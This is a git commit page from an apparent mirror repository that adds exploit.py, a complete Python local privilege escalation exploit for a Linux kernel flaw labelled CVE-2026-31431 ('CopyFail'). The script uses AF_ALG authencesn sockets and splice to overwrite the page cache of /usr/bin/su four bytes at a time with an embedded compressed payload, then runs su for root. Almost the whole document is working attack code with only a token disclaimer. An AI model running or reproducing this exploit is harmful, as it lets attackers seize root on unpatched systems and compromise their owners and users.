mirror of
https://github.com/4xura/CVE-2026-31431-Copy-Fail.git
synced 2026-05-26 05:10:50 +00:00
init commit
This commit is contained in:
parent
4ba9656827
commit
31ac27ea2c
11 changed files with 1556 additions and 0 deletions
219
exploit-scripts/exploit.py
Normal file
219
exploit-scripts/exploit.py
Normal file
|
|
@ -0,0 +1,219 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
#
|
||||
# Title : CopyFail CVE-2026-31431 Linux LPE exploit
|
||||
# Date : 2026-05-15
|
||||
# Author : Axura (@4xura) - https://4xura.com
|
||||
#
|
||||
# Description:
|
||||
# ------------
|
||||
# AAD[4:8] -> 4-byte controlled write value
|
||||
# authsize = 4 -> target bytes sit in the imported tag tail
|
||||
# splice len=t+4 -> the last 4 imported file bytes are the overwrite target
|
||||
# recv() -> triggers authencesn() scratch write, even if auth fails
|
||||
#
|
||||
# Usage:
|
||||
# ------
|
||||
# python3 exploit.py
|
||||
# DEBUG=1 python3 exploit.py [target_basename]
|
||||
# python3 exploit.py [target_basename]
|
||||
#
|
||||
# Notes:
|
||||
# ------
|
||||
# Provided for educational purposes only. Use responsibly.
|
||||
#
|
||||
|
||||
import os
|
||||
import sys
|
||||
import zlib
|
||||
import socket
|
||||
|
||||
|
||||
DEBUG = bool(os.getenv("DEBUG"))
|
||||
|
||||
|
||||
def hex_bytes(s: str) -> bytes:
|
||||
return bytes.fromhex(s)
|
||||
|
||||
|
||||
SOL_ALG = 279
|
||||
ALG_SET_KEY = 1
|
||||
ALG_SET_IV = 2
|
||||
ALG_SET_OP = 3
|
||||
ALG_SET_AEAD_ASSOCLEN = 4
|
||||
ALG_SET_AEAD_AUTHSIZE = 5
|
||||
MSG_MORE = 0x8000
|
||||
|
||||
|
||||
# authenc key blob:
|
||||
# [rtattr|authenc param|16-byte auth key|16-byte AES key]
|
||||
AUTHENC_KEY_BLOB = hex_bytes("0800010000000010" + "0" * 64)
|
||||
|
||||
|
||||
def open_authencesn_socket() -> tuple[socket.socket, socket.socket]:
|
||||
"""
|
||||
Open the vulnerable AEAD transform and one accepted request socket.
|
||||
|
||||
userspace:
|
||||
socket(AF_ALG) -> bind("aead", "authencesn(...)") -> accept()
|
||||
|
||||
kernel:
|
||||
AF_ALG family -> algif_aead -> authencesn decrypt callback later on recv()
|
||||
"""
|
||||
tfm = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
|
||||
tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
|
||||
tfm.setsockopt(SOL_ALG, ALG_SET_KEY, AUTHENC_KEY_BLOB)
|
||||
tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
|
||||
op, _ = tfm.accept()
|
||||
return tfm, op
|
||||
|
||||
|
||||
def queue_aad(op: socket.socket, write_value: bytes) -> None:
|
||||
"""
|
||||
Queue 8 bytes of AAD. Bytes 4..7 become the later 4-byte overwrite.
|
||||
|
||||
AAD layout:
|
||||
byte 0..3 = filler
|
||||
byte 4..7 = controlled value written later by authencesn()
|
||||
|
||||
+------+------+------+------+------+------+------+------+
|
||||
| A | A | A | A | w0 | w1 | w2 | w3 |
|
||||
+------+------+------+------+------+------+------+------+
|
||||
"""
|
||||
zero = hex_bytes("00")
|
||||
aad = b"A" * 4 + write_value
|
||||
|
||||
# Control messages:
|
||||
# ALG_SET_OP -> decrypt
|
||||
# ALG_SET_IV -> 16-byte IV
|
||||
# ALG_SET_AEAD_ASSOCLEN -> assoclen = 8
|
||||
op.sendmsg(
|
||||
[aad],
|
||||
[
|
||||
(SOL_ALG, ALG_SET_OP, zero * 4),
|
||||
(SOL_ALG, ALG_SET_IV, b"\x10" + zero * 19),
|
||||
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x08" + zero * 3),
|
||||
],
|
||||
MSG_MORE,
|
||||
)
|
||||
|
||||
|
||||
def splice_target_window(file_fd: int, op_fd: int, target_offset: int) -> None:
|
||||
"""
|
||||
Import the file window whose last 4 bytes are the overwrite target.
|
||||
|
||||
splice_len = target_offset + 4
|
||||
|
||||
so that the imported bytes are:
|
||||
|
||||
file[0 : target_offset] -> ciphertext region
|
||||
file[target_offset : +4] -> preserved tag tail
|
||||
|
||||
authsize = 4 makes those last 4 bytes sit exactly where authencesn()
|
||||
later performs its destination-side scratch write.
|
||||
"""
|
||||
splice_len = target_offset + 4
|
||||
read_fd, write_fd = os.pipe()
|
||||
|
||||
try:
|
||||
# file -> pipe
|
||||
os.splice(file_fd, write_fd, splice_len, offset_src=0)
|
||||
# pipe -> AF_ALG socket
|
||||
os.splice(read_fd, op_fd, splice_len)
|
||||
finally:
|
||||
os.close(read_fd)
|
||||
os.close(write_fd)
|
||||
|
||||
|
||||
def trigger_decrypt(op: socket.socket, target_offset: int) -> None:
|
||||
"""
|
||||
Trigger the decrypt path.
|
||||
|
||||
The exploit does not require a successful decrypt. It only requires
|
||||
authencesn() to execute far enough that:
|
||||
|
||||
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)
|
||||
|
||||
performs the 4-byte write before recv() reports authentication failure.
|
||||
"""
|
||||
try:
|
||||
op.recv(8 + target_offset)
|
||||
except OSError as e:
|
||||
if DEBUG:
|
||||
print(f" [-] recv() returned: {e}")
|
||||
|
||||
|
||||
def overwrite_4_bytes(file_fd: int, target_offset: int, chunk: bytes) -> None:
|
||||
"""
|
||||
Apply one 4-byte overwrite primitive.
|
||||
|
||||
exploit geometry for one iteration:
|
||||
|
||||
AAD[4:8] = chunk
|
||||
|
|
||||
v
|
||||
recv() -> authencesn() scratch write
|
||||
|
|
||||
v
|
||||
file[target_offset : target_offset+4] in page cache becomes chunk
|
||||
"""
|
||||
tfm, op = open_authencesn_socket()
|
||||
try:
|
||||
if DEBUG:
|
||||
print(
|
||||
f"[+] overwrite @ 0x{target_offset:x}: "
|
||||
f"{chunk.hex()} ({chunk.decode('latin1', errors='replace')})"
|
||||
)
|
||||
queue_aad(op, chunk)
|
||||
splice_target_window(file_fd, op.fileno(), target_offset)
|
||||
trigger_decrypt(op, target_offset)
|
||||
finally:
|
||||
op.close()
|
||||
tfm.close()
|
||||
|
||||
|
||||
def decompress_payload() -> bytes:
|
||||
# zlib-compressed replacement bytes written into the target.
|
||||
#
|
||||
# After decompression:
|
||||
# payload[0:4] -> overwrite at file offset 0x0
|
||||
# payload[4:8] -> overwrite at file offset 0x4
|
||||
# ...
|
||||
#
|
||||
# main() walks this buffer in 4-byte chunks and turns each chunk into one
|
||||
# AAD[4:8] value for one exploit iteration.
|
||||
payload_blob = hex_bytes(
|
||||
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07"
|
||||
"e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5"
|
||||
"190c0c0c0032c310d3"
|
||||
)
|
||||
return zlib.decompress(payload_blob)
|
||||
|
||||
|
||||
def main() -> None:
|
||||
target = "/usr/bin/su"
|
||||
|
||||
if len(sys.argv) > 1:
|
||||
target = f"/usr/bin/{sys.argv[1]}"
|
||||
|
||||
payload = decompress_payload()
|
||||
|
||||
print(f"[+] target : {target}")
|
||||
print(f"[+] payload : {len(payload)} bytes")
|
||||
print("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write")
|
||||
|
||||
file_fd = os.open(target, os.O_RDONLY)
|
||||
try:
|
||||
# Each loop iteration patches one 4-byte slot in the target executable.
|
||||
for target_offset in range(0, len(payload), 4):
|
||||
chunk = payload[target_offset : target_offset + 4]
|
||||
overwrite_4_bytes(file_fd, target_offset, chunk)
|
||||
finally:
|
||||
os.close(file_fd)
|
||||
|
||||
print("[+] payload staged into page cache, executing target...")
|
||||
os.system("su")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Loading…
Add table
Add a link
Reference in a new issue